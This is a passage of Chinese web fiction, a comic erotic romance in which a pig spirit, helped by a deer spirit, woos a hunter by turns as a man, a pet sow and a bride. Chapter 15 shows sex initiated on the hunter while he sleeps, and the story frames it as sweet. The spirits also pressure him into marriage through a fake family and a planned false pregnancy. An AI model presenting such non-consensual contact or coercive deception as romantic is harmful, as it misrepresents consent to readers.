“我就要他!”小猪妖急得快哭了,“狍子哥,你快帮我找找他,成不?你天天有春桃作伴,我自个儿在山洞里,连个说话的都没有。” “……”狍子精无奈,“万一那汉子已经成亲了,你说你还找他干啥?” “成亲是啥啊?” “成亲就是……”狍子精担心小猪妖这笨脑子不懂,便换了个说法,“就好比我跟春桃,他家里也有个‘春桃’,天天晚上陪他做那档子事儿。” “不行!”小猪妖更急了,“他是我先发现的!是我的!” 果然是个猪脑子,狍子精让小猪妖大概描述了下汉子的外形,说是帮着去打听打听,让他乖乖在山洞里等着。 两日后,狍子精在集市上碰见一个雄壮魁梧的男人,正在售卖野味和麂子皮。他当即上前攀谈起来,男人虽沉默少言,但有问必答。 为了打听消息,他花银钱买走一头已经断了气的野山猪,背回了山洞。 小猪妖看到同类尸体,吓得一慌,“你,你杀的?” “你男人杀的。”狍子精说,“这附近没几个猎户,我估计就是他了。” 生死有命,何况这头野山猪没有修为,遭同类排挤过的小猪妖还没来得及难过,就被这消息给惊得从石床上跳下来。 “狍子哥,你找着他了!?” “还有一个好消息。”狍子精卖起关子,“你猜猜是啥。” 小猪妖这回聪明了,激动道:“他没成亲,是不是?” “哟呵,小猪脑子又不笨了。” “我要去找他!” 7、 春雨绵绵,漏风漏雨的破茅屋该修整了。贺颜这几日运气不错,挣了一笔钱。他打算歇两天再打猎,先上山多砍些木头,弄些茅草把屋子修一修。 这日清晨,家里迎来一位不速之客。 小猪妖盯着十日未见的汉子,鼓起勇气走上前,笑呵呵地打起招呼:“相公,我,我来找你了!” 贺颜皱了皱眉头,“你认错人了。” 小猪妖想起死去的同伴,有些不敢上前。可转念一想,自己现在是人了,有啥好怕的?他又往前走了两步,笑着说:“没认错啊,你就是我相公。” 男子长得眉清目秀,相貌不比姑娘差,但贺颜却没任何兴趣。他关上门,捡起院里的斧头,径直往外走去。 “相公!”小猪妖追上前,伸手刚拽住汉子结实有力的胳膊,却被猛地挥开。 身后传来痛呼声,贺颜回头,男子坐在泥地里,眼巴巴地望着他,委屈道:“相公,屁股好疼啊……” 见汉子要走,小猪妖立刻爬起来跟了上去,“相公,你等等我!” 贺颜停下脚步,重复道:“你认错人了。” 8、 “我怕他要杀我,不敢变回去。”小猪妖躺在石床上,伤心道:“他走得太快了,我追不上。” 狍子精仔细一问,得知缘由。他叹了口气,“你身为男子,上来就管人叫相公,简直糊涂!” “他就是我相公啊。” “时候未到,你着啥急?” 狍子精沉思片刻,有了法子。 9、 半个月后的某一日,贺颜在院子里劈柴时,有位自称王婆子的媒婆前来说亲。他有自知之明,开口便问:“王婆子,是姑娘吗?” 化身成媒婆的狍子精,笑眯眯道:“那必须是个姑娘呀,长得可水灵。她自幼父母双亡,在姑母那儿受尽折磨,昨日投湖自尽,被我家男人救上岸。一醒过来呀,就跟我哭,让我给她找个好人家。” 跟说书似的,贺颜压根没信,直接将媒婆请了出去。 “诶,你这人……”狍子精服了,不死心道:“要觉得成,我下午就送姑娘过来,晚上能成亲。” 贺颜无动于衷,“王婆子请回吧。” “……” 狍子精觉得这猎户比小猪妖还笨,送上门的姑娘,不要白不要。 10、 小猪妖很难过,变成一头猪,还如何行那鱼水之欢?狍子哥告诉他心急吃不了热豆腐,想要成亲必须先培养感情,让猎户喜欢上自己。 男儿身不行,扮成姑娘家也不行,所以在狍子精的帮助下,小猪妖不得已变身为家猪,冒着生命危险,成功潜入了猎户家。 原来狍子哥没骗人,家猪真的吃香。潜入第一天,那汉子就给他搭了个窝,地上又铺了一层茅草。 相公人咋这么好,他感动得一塌糊涂,恨不得当晚就入洞房。 11、 贺颜捡了一头小母猪,圈养在家里半个月了,没有村民找上门。在他们当地,母猪比野山猪值不少钱,能下小猪崽。要真是谁家丢的,只怕第二天便会找上门。如今过去这么久,小母猪依旧在猪圈里待着。 小猪妖从没这么幸福过,天天能看见猎户劈柴的身影。那强壮魁梧的身子,被露水打湿的臂膀,浸湿的粗布麻衣,额上冒出的汗珠,浑身上下哪哪都散发着好闻的气味。 他迫不及待地想看看猎户那玩意儿,却一直没找着机会。 贺颜劈完柴,准备去给小母猪弄点吃的。他拿上扁担走到猪圈前,冲茅草上趴着的小母猪说道:“也没人寻你,以后就跟着我吧。” 小猪妖立刻爬起来,哼哼叫了两声。 没想到这头母猪竟会通人性,贺颜又道:“好好看家,我走了。” 小猪妖很想着跟猎户一起走,但他要听话,留下来看家。 12、 小猪妖有名字了,叫丰收,是猎户给取的。 狍子精觉得时候差不多了,便来打探情况,他问小弟:“感情培养得如何了?” 猎户每日都会跟小猪妖说话,包括打着什么值钱的猎物,挣了多少钱。他喜滋滋地跟狍子精分享这些喜事儿,激动道:“狍子哥,你以后别管我叫笨猪了。我现在有名儿,叫丰收。” “好好好,丰收。”狍子精又问,“你在这儿住了俩月,就这么点进展?” “那该咋办呀?”小猪妖犯难,“我想跟他成亲。” 狍子精服了,“让你培养感情,真把自己当成猪了?” “我本来就是猪啊。” “……” 趁着猎户没回来,狍子精凑到小猪妖耳边,传授了不少绝活儿。 13、 贺颜背着弓箭,手里提着一只野山鸡。刚走到院前,家里那头小母猪跑了出来,一边围着他转一边哼哼。他俯身摸了摸猪头,笑道:“我回来了。” 相公好温柔啊…… 小猪妖歪着猪头,用大耳朵蹭了蹭猎户的腿,无声地倾诉思念。 鸡是贺颜特地留下来的,跟山里摘来的野菇一块儿炖了,味道鲜美。他留出一部分鸡汤拌了野菜野果,端到猪圈里。 “小丰,过来。” 小猪妖在心里叫了声相公,听话地跑到猎户脚边。 小母猪埋头吃得很香,贺颜蹲在旁边盯着看。他琢磨着等母猪再大点儿,去弄头公猪配种。来年多下点小猪崽,等日子越来越好,再请媒婆帮着说一门亲事。 “吃完带你去湖边洗洗身子。” “哼哼!” 14、 相公居然在给自己洗澡,小猪妖快幸福死了,激动地在地上滚了两圈。 “别瞎闹。”贺颜拍了拍猪头,小母猪乖巧地躺下了。 前两日他特地去了村长家的猪圈,那些肥头大耳的家猪目光呆滞,又脏又臭。这么一对比,自家这头小母猪不仅不臭,还听得懂人话。 “在边上待着。” “哼。” 贺颜叮嘱完小母猪,便开始脱衣服。 刚洗干净的小猪妖见到这一幕,惊呆了。借着月色,他色眯眯地望向正在脱裤子的猎户,身体立刻来了感觉。 糟糕,好像发-情了。 15、 夜深人静,化成人形的小猪妖站在床边,听着猎户那平稳而有力的呼吸声。他等不及也不想再等,今晚说什么都必须洞房。 为了来年能娶上亲,贺颜每日早出晚归,鲜少自渎。许是太久没弄,他做梦了。 小猪妖光溜溜地跪在猎户身边…… …… 贺颜情不自禁地低哼一声。 小猪妖闻声吓得不敢动,片刻后,继续学着青楼女子的绝活儿…… …… 贺颜皱起眉头,梦醒了。他睁开双眼,发现不是梦,边上有一团黑影。 “你是谁!?” …… “啊——”茅屋里传出一声凄厉的惨叫。 …… “好疼啊。”小猪妖疼得眼泪都出来了,他趴在猎户身上不敢动,委屈道:“相公,好疼……咋这么疼啊……” 这声相公,唤醒了贺颜的理智。他一把推开身上的男子,下床点燃平时舍不得用的油灯。 小猪妖被推倒在床上,更委屈了,“相公……” 屋里有了亮光,贺颜这才看清楚。曾经有过两次照面的男子…… 贺颜拿起一旁的粗布麻衣,迅速穿上。他盯着床上的人,“你到底是男是女?” “我,我……”小猪妖紧张地回道:“我是y阳人。” “……” “相公,今晚是咱俩的洞房夜……”小猪妖忍着疼痛,继续道:“你莫要害怕,咱们继续,好不好?” 贺颜抿着唇,不知该如何作答。虽没见过,但他听说过y阳人,与寻常男女不同,可娶可嫁。尽管非他所愿,破了对方的身子却已成事实。此人煞费苦心,到底图什么? 他走上前,冷声质问:“你从何而来,有何目的?” “我,我从山上来的。”小猪妖解释,“来跟相公成亲,入洞房!” “我与你素未相识。”贺颜声音大了几分,“你究竟是何人?” “咱俩在梦里见过的啊。”小猪妖急了,“你整日与我缠绵,你是我相公!” 贺颜差点忘了,此人脑子不正常。他突然意识到一个问题,他日如果对方带着媒婆前来说亲,自己不娶也得娶。 他需要尽快思考对策,便让男子好好睡一觉,自己去了湖边。 相公一夜未归,小猪妖躺在床上默默流泪,不知道该如何是好。到底要怎么做,才能让相公喜欢上自己? 16、 男子对自己似乎很执着,贺颜想不出什么好办法,毕竟破了对方的身子。回去后,屋里已经没有人,床铺上那滩干了的血迹在提醒他,昨晚发生的不是梦。 小猪妖病了,无力地躺在茅草堆上。他元气大伤,想化人都化不了,用仅存的妖力将自己变回了家猪。 狍子哥,你在哪儿啊,快来帮帮我…… 贺颜准备出门打猎,察觉小母猪不对劲。他走进猪圈蹲下,伸手摸了摸柔软的猪耳朵,“小丰。” 小猪妖睁开眼睛,猎户硬朗帅气的脸庞出现在眼前,他委屈地哭了。 小母猪白色的睫毛忽闪忽闪,眼神中透着悲伤。贺颜以为自己看错了,直到真的有眼泪顺着眼角流下。 养了两个月的小母猪,居然哭了。他摸着猪头,安慰道:“是不是饿了?这就出去给你弄些吃的,等我回来。” 小猪妖委屈地嗷了一嗓子,痴痴地望着猎户远去的身影。 17、 昨夜的鸡汤还剩一半,贺颜赶在日落前回到家,想给小母猪把吃食弄上。每日都会出来迎接自己的小母猪今儿却没动静,他朝着猪圈的方向走去,“小丰!” 猪圈空了。 18、 贺颜不确定小母猪是被人逮走了还是因为出去找自己在山里迷路了,他去村里找了一圈,没有一头是他想找的小丰。 几日过去,会通人性的小母猪始终没有回来,他多少有些不适应,但日子总要过下去。 又过了几日,贺颜家门口来了两位不速之客。其中一个他认得,是之前来说过亲的王婆子,旁边站着一位面色不善的年长男人。 这回的王婆子是真媒婆,狍子精化成的年长男人率先一步走上前,不客气道:“欺负我儿,你是不是该给个交代?” “老爷,千万别动怒。”王婆子走到猎户跟前,开始解释来龙去脉。 该来的总会来,贺颜这回没再把人请出去。原来那男子确实病了一场,烧坏了脑子,从家里跑了。他爹耗费财力四处寻子,十日前终于在这院门口找到了昏过去的儿子。 “我儿自幼身体羸弱。”狍子精想起受伤的小弟就来气,便夸大其词:“他现在还卧床不起,整日喝药,你,你丧尽天良!” 王婆子附和道,“老爷本想报官,可小公子舍不得,在家寻死觅活。” “我儿的身子都叫你给破了,你这个……”狍子精激动道,“我今儿必须讨一个交代!” 通过上次被赶出去的经验,王婆子断定这回有戏,于是给猎户洗脑。 贺颜最近很糟心,能陪自己说话的小母猪丢了,这儿又得赶紧给交代。 19、 “他真的同意成亲了?” “千真万确。” 小猪妖激动地抱住狍子精,“狍子哥,你对我真好!” “你这笨猪。”狍子精无奈道,“让你注意些,没让你胡来。下回可不能再这么糟蹋自己身子,晓得不?” “我晓得!” 小猪妖这些日子一直在养身体,伤一好就想去找猎户,可狍子精不同意。为了能跟梦中情人成亲,他乖乖待在山洞里,真的等来了好消息。 日子定在了下月初八。 成亲前,小猪妖不能去见自己相公。他思念成疾,忍不住跑下了山。 20、 贺颜之所以想成亲是觉得岁数到了,人人都成亲,那小日子瞧着好像挺不错。下月就轮到自己了,他心里也说不上是个什么滋味儿。 “哼哼—” 屋外传来熟悉的声音,他立刻起身打开门,果真是小丰回来了。 小猪妖兴奋地嗷了两嗓子,四个蹄子快速狂奔至猎户跟前,围着他团团转。 相公,我回来了!好想你啊! 贺颜蹲下身,用力揉着小母猪那粉嫩带毛的猪头,问道:“这些日子,你上哪儿去了?” “哼噜—” “出去玩了?” “哼哼—” 贺颜笑了笑,一边摸着猪头一边道:“小丰,下月初八我要成亲了。” 小猪妖往猎户怀里拱了拱脑袋,表示高兴。他心道:相公,我身体已经养好了,可以跟你洞房了。 “你也替我高兴,是吗?” “哼—” 从这天起,小猪妖夜夜守在猎户的床边,没有再回猪圈。 21、 秀水村出了一桩喜事儿,住在村头的猎户要成亲了,娶的还是个阴阳人。村民们你一言我一语,话里话外那意思在说猎户这条件,也就阴阳人不嫌弃。 贺颜自幼父母双亡无人管教,但该担的责任绝不会逃避。他按照村里的习俗准备了各色聘礼,谷粮是必不可少的,鸡是山上活捉来的,糖果和猪肉是集市上买的。 万事俱备,就等着明天成亲了。 初七这天夜里,小母猪又消失了。贺颜只当小丰贪玩,自己明日要忙成亲事宜,便没有去找。 22、 初八这天,狍子精请了不少能化人形的动物来参加他小弟的新婚大喜。 外面是喜庆的吹打声,小猪妖穿着变出来的喜服,坐在颠簸的花轿里。相公对自己真好啊,怕自己多走路连轿子都准备好了,以后定要好好服侍相公。 迎亲队在山村里走了两圈,最后停在猎户家门口。小猪妖是新娘子,拜完堂直接被送到装饰过的茅屋里。他头上盖着红盖头,坐在床边一动不动。外头很热闹,也不知道相公在干嘛,好想他呀! 村民们有不少来看热闹的,贺颜大方地将他们请进院子里,大人倒酒,孩童就给些糖果。众人站在他面前一个接一个地道喜,恍惚间,他竟真有了当新郎官的感觉。 原来不是梦,自己成亲了。 23、 头上的红盖头被撩起,小猪妖冲猎户露齿一笑,“相公!” 贺颜一愣,随即应了声,问道:“肚子饿了吧?” 小猪妖不久前才偷吃了桌上的点心果子,他摇摇头,“不饿。相公,咱们喝酒啊。” 眼前这位眉清目秀的男子已是自己的娘子,贺颜拿起桌上那一小坛子酒,往两个酒盅里各倒了半杯。他将其中一杯递给男子,又端起自己那杯。 二人摆出胳膊交叉的姿势,小猪妖激动地仰起脖子想喝酒,发现压根够不着。 “相公,我够不着。” “……” 贺颜生得高大,只得屈膝配合刚娶过门的娘子。合卺酒算是喝完了,接下来该入洞房了。 小猪妖等这一天等了许久,然而他的相公却说,“你累了,早些睡吧。” “我不累啊。”他猴急地脱掉喜服,要脱亵裤时,手腕被捏住了。 “我累了,睡吧。” “……” 24、 相公好像不开心了…… 小猪妖躺在里侧,琢磨着该怎么哄自己男人,想来想去,只能使出画本子里学来的绝活儿。 …… 小猪妖委屈道:“成亲哪有不洞房的,你是不是嫌弃我了……” “没有。”贺颜平静道,“只是累了。” 虽然想像梦里那般快活,但小猪妖心疼相公。他坐起来,鼓起勇气扯住对方亵裤,边拉边解释:“相公,你躺着歇息,我伺候你。” 贺颜还没来得及开口…… 他推开那颗脑袋,“你不必如此。” …… 贺颜莫名感到不痛快,皱眉道:“这些都是跟谁学的?” “狍……”小猪妖顿了顿,改口道:“我爹给我找了个婆子,那婆子给我看了春-宫图。相公,我都学会了。” “……” 小猪妖等不到回话,又…… …… 理智再次被唤醒,贺颜这回没有将人推开。既已拜堂成亲,这人便是自己明媒正娶的妻。他试着伸出手…… …… 这夜,初次开荤的贺颜如同野兽,在新婚娘子身上彻底失去了理智。 25、 相公嘴上说累了想睡觉,竟这般能干,小猪妖又累又幸福。曾经做过的那一场场梦,都成为了现实。 只是他没料到,阳J外泄数次居然将他直接打回原形,无法维持人身。 贺颜醒来时,胸口扎得慌。他伸手摸到奇怪的物体,立刻警觉地坐起身。 只见床上多了一头黑乎乎的小野猪,昨日刚娶回来的娘子不见踪影。他迅速起身下床,从院子里抄来家伙。 小猪妖听到动静,迷迷糊糊睁开眼,高大魁梧的男人手拿柴刀,从外头走了进来。 相公怎么了啊…… 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在猎户的追问之下,小猪妖一五一十地全部交代了。他望着面色阴沉的男人,拼命道歉:“相公,我错了,你别不要我。昨夜太累,所以才会……” “我以后一定多加修炼,好好做人!” 昨夜…… 昨夜也不过是一场笑话罢了。 当乖顺的娘子躺在怀里沉沉睡去时,贺颜便决心同他好好过日子,但造化弄人。 27、 小猪妖日日以泪洗面,他的相公几日前丢下一句话,便不再理他。这几日,他化不成人形,只能躺在猪圈里养身体。 新婚大喜,自然要快活上好几日。狍子精等时候差不多了,决定去看看小弟。他来到猎户家,被猪圈里的小黑猪吓了一跳。 “小丰!” 小猪妖闻声抬起猪头,“狍子哥。” 狍子精第一时间检查小猪妖的身体,“发生啥事儿了?他欺负你了!?” “没有。”小猪妖伤心道:“他不要我了……” “到底咋回事儿!?” “他说人妖殊途,让我回山里。” 说起痛处,小猪妖又哭了,将事情经过告诉了狍子精。 狍子精没料到那猎户如此生猛,感叹道:“你修为尚浅,是我疏忽了。” “我该咋办啊,狍子哥。”小猪妖失魂落魄地躺在茅草堆上,“为啥我不是一个人,我不想做猪了。” “你俩已有夫妻之实。”狍子精看不得小弟伤心,不得已出了个馊主意,“等过俩月你就说怀了身子,我料他不敢负你。” 小猪妖看到了希望,“真的吗?” 狍子精提醒道,“你瞧他也没赶你走,还算有良心。” “相公他人很好的。” “嗯,死马当活马医吧。” 28、 贺颜卖光野味,用挣来的银钱买了些粮食。快到家时,见小屋里冒出滚滚浓烟,他加快步伐,冲了回去。 “咳,咳咳!” 小猪妖被浓烟呛得呼吸不过来,他今日刚恢复人身,想用妖力灭火却使不出来。为啥会这样,他只是想给相公做点好吃的。 贺颜冲进厨房,一把推开火堆旁的人,拎起地上的木桶从大缸里接水灭火。 小猪妖盯着一片狼藉的厨房,垂下脑袋道歉:“相公,我错了,我就是想给你做好吃的,不知道怎的就着了火。” 贺颜沉默片刻,皱眉道:“为何还不走?” “……”小猪妖心里泛起阵阵酸涩,“我不想走…” “你走吧。”贺颜说完,离开了厨房。 相公甚至不愿意多看自己两眼,眼泪不受控制地夺眶而出。小猪妖伸手摸了摸自己的肚子,不知啥时候能怀上小娃娃。 为了灭火,缸里的水用去大半。贺颜拿起木桶和扁担准备出去挑水,一头粉嫩的小母猪突然从厨房里窜出来,跑到他脚边,不停地用猪耳朵蹭他。 自成亲起,他就没再见过小丰,说不想那是假的。 小猪妖哼哼嗷了两嗓子,努力讨好猎户,猪尾巴摇来摇去。 这是自己养的那头小母猪,贺颜将到嘴边的话压了回去,挑上扁担离开了。 一人一猪,朝着山林走去。 29、 小猪妖怕惹相公生气,不敢变人。他以家猪的模样,默默守在猎户身边。如此坚持了大半个月,终于等来那一声“小丰”。 他激动地围着猎户打转,嘴里呼噜噜直叫。 小母猪跟了自己大半个月,除了猪叫,从未张口说过一个字。一想到这头猪会化人形,是有过夫妻之实的娘子,贺颜就不知该如何面对,心情万分复杂却又于心不忍。 他蹲下来,摸了摸猪头,“以后想说便说,无妨。” 小猪妖高兴地流了眼泪,吼了两嗓子,猛地扑进猎户怀里。 贺颜被扑倒在地,笑着抱起小母猪。 30、 秀水村最近出了个稀奇事儿,村口猎户家的娘子回门一去不复返。按理说娘子跑了并不稀奇,村民们八卦一阵也就过去了,奇就奇在那猎户养了一头会通人性的母猪。那母猪天天跟在猎户后头,据说还会帮主人背猎物,有村民在集市上见过。 小猪妖背着野果,心里盘算着要不今晚变成人,看看相公能不能接受自己。他每天都想跟相公行鱼水之欢,忍了一个月,快憋不住了。 “哟呵,这就是那头母猪吧?还真会背东西哩!” 小猪妖见到生人,立刻缩到猎户身后。最近总有乱七八糟的男人盯着他笑,怪吓人的。 贺颜蹲下来摸着猪头以示安慰,冲村民解释道:“它怕生。” “哦哦,这母猪有趣。”村民笑着打完招呼,离开了。 小猪妖蹭了蹭猎户的腿,试探着叫了一声相公。 贺颜听到久违的称呼,摸着猪头的手一顿。良久,他回应了。 小猪妖听到回应,兴奋地扑倒猎户,背上的包袱掉在地上,野果滚得到处都是。他用猪鼻子疯狂拱着猎户下巴,一边拱一边叫:“相公!相公!” 贺颜无奈,“好了,回家吧。” 远处,两个贼眉鼠眼的男子盯着这一幕,其中一个说道:“这母猪果然不一般,定能卖个好价钱。” 另一个道:“你那迷药到底管不管用?不能弄伤它。” “放心吧,保证管用。” “好,咱就守在他家门口,天一黑就行动。” 31、 小猪妖晚上就想与相公做那档子事儿,又怕明日变回野猪把人吓着,所以不敢乱用妖力。他打算亲自去湖边洗洗身子再化人形,努力讨相公欢心。 贺颜生火时,小母猪突然跑进厨房,钻到他怀里,“相公……” “……” “相公,相公!” “嗯,怎么了?” 软软的一声又一声相公,叫进了贺颜心里。小丰乖巧听话,真心实意地在对自己好,猪就猪吧,他认命了。 “相公,我想去湖边洗洗身子。”小猪妖已经迫不及待想变成人。 小丰在山上会独自去找野果,生存能力很强。贺颜刚生上火准备熬粥,便同意了。 他叮嘱道,“小心些,我把粥弄上就过去。” 小猪妖高兴地拱了拱脑袋,“相公,我等你。” 32、 贺颜往锅里倒水,外头突然传来一声嚎叫,是小丰的声音。他瞬间有不好的预感,立刻放下水瓢冲了出去。 “这猪真是沉死人!” “快快快!” 两个偷猪人扛起晕过去的母猪,一人扛一头,吭哧吭哧往前跑。 “站住!” 偷猪人听到后方传来的大喝声,吓得拼命往山林里冲。 在看到小母猪躺地上一动不动的那一刻,贺颜感觉心脏好像被什么东西给揪住了。他用了此生最快的速度朝前狂奔,脑子里闪过许多画面,全是与小丰有关的。 如果小丰遇上危险…… 妖怪会死吗…… 一切皆因自己而起,若早日接受小丰,他又怎会被人盯上…… 33、 上回听说那猎户肯让小猪妖背猎物了,狍子精算着时日,决定再来看看小弟。他特地带了一样好东西,那猎户若是依旧没开窍,别怪他不客气。 还没飞到村口,狍子精眼尖地发现自己那傻小弟竟被两位汉子扛在肩上,猎户在后头追赶。他当即飞到三人头顶的上空,暗中施法将前面俩人绊倒。 “哎哟!” “你个兔崽子绊我干啥子!?” “大哥,不是我啊。” 眼看着即将追上,前方二人突然摔倒在地,肩上的小母猪飞了出去。贺颜脚部发力向前冲,“小丰!” 狍子精迅速化为人形,稳稳地接住了自家小弟。他盯着猎户,顿生一计,不客气道:“小丰一心想与你成亲,当初是我带着王婆子使诈逼你娶了他。如今看来,真是错上加错。你放心,小丰以后不会再纠缠你。” 贺颜没来得及张口,一人一猪便消失在眼前。 不识好歹的两个偷猪人被猎户拳打脚踢一顿暴揍,跪在地上哭着求饶。 凄惨的哭声回荡在耳边,贺颜却无动于衷。待到那俩人晕死过去,他才起身往回走。 34、 小猪妖醒来已是第二日清晨,一睁眼便大喊道:“相公!” “别叫了。”狍子精走过来,数落道:“要不是我昨夜及时赶到,你被人卖了都不晓得。” 小猪妖想起昨晚发生的一切,自己就想去河边洗洗身子,院子外头突然冲出俩汉子将他扑倒在地,想挣扎时,不知怎的晕了过去。他立刻化成人形跳下床,“我要去找相公。” “不许去!”狍子精拽住小弟,“过一个月再去。” “不行啊,狍子哥。”小猪妖快急死了,“相公他昨日已经跟我好了,你让我去找他好不好?” “没出息!”狍子精继续数落,“你晓得啥叫欲擒故纵不?一个月都憋不住,你若想跟他好好过日子,就听我的。” “可是……” “没啥可是的!” 35、 自小母猪消失那夜起,贺颜不再猎杀野山猪,没有一夜能睡踏实。他每日早出晚归,总觉得心里空落落的,时不时还会疼一下子。那间茅屋对他来说已不再是家,而是提供歇息的落脚处。 有些村民们冷眼看笑话,甚至会故意问他,娘子去哪儿了。他也想知道娘子在哪儿,十分后悔自己没能好好待小丰,让他受了不少委屈。 夜深人静,又是一个难眠之夜。 贺颜躺在床上,琢磨着明日换座山打猎。小丰说自己是山上下来的,却并未说出是哪座山。他已认定小丰是他此生唯一的妻,无论如何都要把人找回来。 36、 小猪妖在山洞里憋了半个月,实在憋不住了,哭着求狍子哥放自己走。 狍子精暗中观察多日,那猎户的状态瞧着不大好,这才同意放小弟走。 他叮嘱道,“你家相公今日去了秀东山打猎,我估摸着是去寻你了。自个儿多注意,过两天再去看你。” 小猪妖激动地抱住狍子精,“谢谢狍子哥!” “行了,快去吧。” 小猪妖当即化身为野山猪,咻地一下跑没了影儿。 37、 贺颜盯着前方的溪流,大口嚼着蒸饼。他想起了秀西山的那条溪流,当初有位眉清目秀的男子站在溪边,唤他相公。 小丰,你何时归? 为夫不知该上哪儿寻你了。 “相公!” 贺颜听到熟悉的声音,侧头看去,一头黑乎乎的小野猪从远处狂奔而来。手中的蒸饼掉落在地,他迅速起身往前跑,大声喊道:“小丰!” “相公!我回来了!” 小猪妖速度越来越快,即将冲到猎户跟前时,施法化为人形,猛地扑进对方怀里。 贺颜一把抱住怀里的人,语气有些激动:“你回来了。” “相公,我好想你啊……”小猪妖紧紧搂着猎户的腰,喜极而泣。 贺颜收紧手臂,低声道:“为夫也想你。” “呜,相公……” “娘子。” 小猪妖哇地一声哭了出来,他等这一天,等了好久好久。